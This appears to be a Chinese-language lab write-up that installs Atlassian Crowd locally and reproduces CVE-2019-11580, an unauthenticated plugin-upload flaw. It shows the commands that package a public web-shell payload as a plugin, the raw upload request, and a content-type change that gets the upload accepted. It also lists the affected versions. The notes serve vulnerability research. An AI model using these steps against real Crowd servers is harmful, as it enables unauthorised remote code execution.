Atlassian Crowd安装
参考:
https://blog.csdn.net/yieryi_/article/details/47724069
https://confluence.atlassian.com/crowd/running-the-setup-wizard-192479.html
https://confluence.atlassian.com/crowd/getting-started-with-crowd-197298051.html
下载地址:
https://product-downloads.atlassian.com/software/crowd/downloads/atlassian-crowd-3.4.3.zip
或者
https://product-downloads.atlassian.com/software/crowd/downloads/atlassian-crowd-2.11.0.zip
解压之后长这样:
需要先设置crowd的home地址,这里我设置为
解压
vi crowd-webapp/WEB-INF/classes/crowd-init.properties
# crowd.home=~/crowd-2.11.0
找到设置crowd.home文件的文件(文件名可能有变)
然后启动Crowd。
./start_crowd.sh
其实启动就是启动tomcat。
$ cat ./start_crowd.sh
#!/bin/sh
cd "`dirname "$0"`"
exec apache-tomcat/bin/startup.sh "$@"
执行启动脚本之后,会生成这些文件:
需要点击这个Set up Crowd
来安装:
然后去这里:
https://my.atlassian.com/products/index
输入试用的license
然后成功安装。安装完成之后,会在crowd的home目录下安装一堆插件
尝试上传一下插件:
直接上传这些其中的插件,并没有成功。
在confluence的目录尝试上传一下这个插件,成功了
上传之后,在这个crowd的home目录下的cache目录生成了对应的 文件。
但是这个文件明显大于上传的文件。
# 在crowd的home目录生成的文件
➜ crowd-2.11.0 git:(master) ✗ ll caches/transformed-plugins/plugindev-4984681672219520916applinks-plugin-5.4.7_1563347908000.jar
-rw-r--r-- 1 caiqiqi staff 13M 7 17 15:18 caches/transformed-plugins/plugindev-4984681672219520916applinks-plugin-5.4.7_1563347908000.jar
# 被上传的文件
➜ atlassian-bundled-plugins ll applinks-plugin-5.4.7.jar
-rw-r--r-- 1 caiqiqi staff 5.6M 4 9 17:21 applinks-plugin-5.4.7.jar
尝试上传payload
使用https://github.com/lc/research/tree/master/CVE-2019-11580/atlassian-shell
的payload,
javac -cp apache-tomcat/lib/servlet-api.jar com/cdl/shell/Cdl.java
zip -r rce.jar atlassian-plugin.xml ./com
然而出现下面的情况:
HTTP Status 400 - Missing plugin file
...
The request sent by the client was syntactically incorrect.
调试
首先
ps aux|grep crowd
查找crowd的进程参数,然后搜索其中的某个特点,看在哪个配置文件的什么地方。
得知是在apache-tomcat/bin/setenv.sh
文件中,
然后把这句加进去第二行:
JAVA_OPTS="-Xrunjdwp:transport=dt_socket,suspend=n,server=y,address=12346 ${JAVA_OPTS}" # for debug
查看日志:
tail -f apache-tomcat/logs/catalina.out
分析
crowd的漏洞复现
https://hackerone.com/reports/632721
尝试找这个插件安装在什么地方。
先是在其启动目录(即下载下来直接解压的目录)中,只找到一个license文件
后来在其安装目录找到了这个插件。
在IDEA中打开这个安装目录。选择要调试的插件,右键=》Add as Library。
实际的payload:
POST /crowd/admin/uploadplugin.action HTTP/1.1
Host: cqq.com:8095
User-Agent: curl/7.54.0
Accept: */*
Content-Length: 5827015
Expect: 100-continue
Content-Type: multipart/form-data; boundary=------------------------28fd643fb0cfb3f4
如果直接GET访问这个url:/crowd/admin/uploadplugin.action
,会提示400
使用curl或者抓包之后修改都行:
curl默认的上传文件的content-type为multipart/form-data
,可以手动指定content-type为multipart/mixed
。原理参考commons-fileupload的jar包调试。
感谢博哥指点!
源码在https://github.com/apache/commons-fileupload
另外由于在2.x版本中使用的struts2版本较低,存在struts2的OGNL表达式代码执行漏洞
影响版本
2.1.0 <= version < 3.0.5
3.1.0 <= version < 3.1.6
3.2.0 <= version < 3.2.8
3.3.0 <= version < 3.3.5
3.4.0 <= version < 3.4.4
参考
https://www.jianshu.com/p/be99b57a87cc
https://nvd.nist.gov/vuln/detail/CVE-2019-11580
https://www.corben.io/atlassian-crowd-rce/
https://confluence.atlassian.com/crowd/crowd-security-advisory-2019-05-22-970260700.html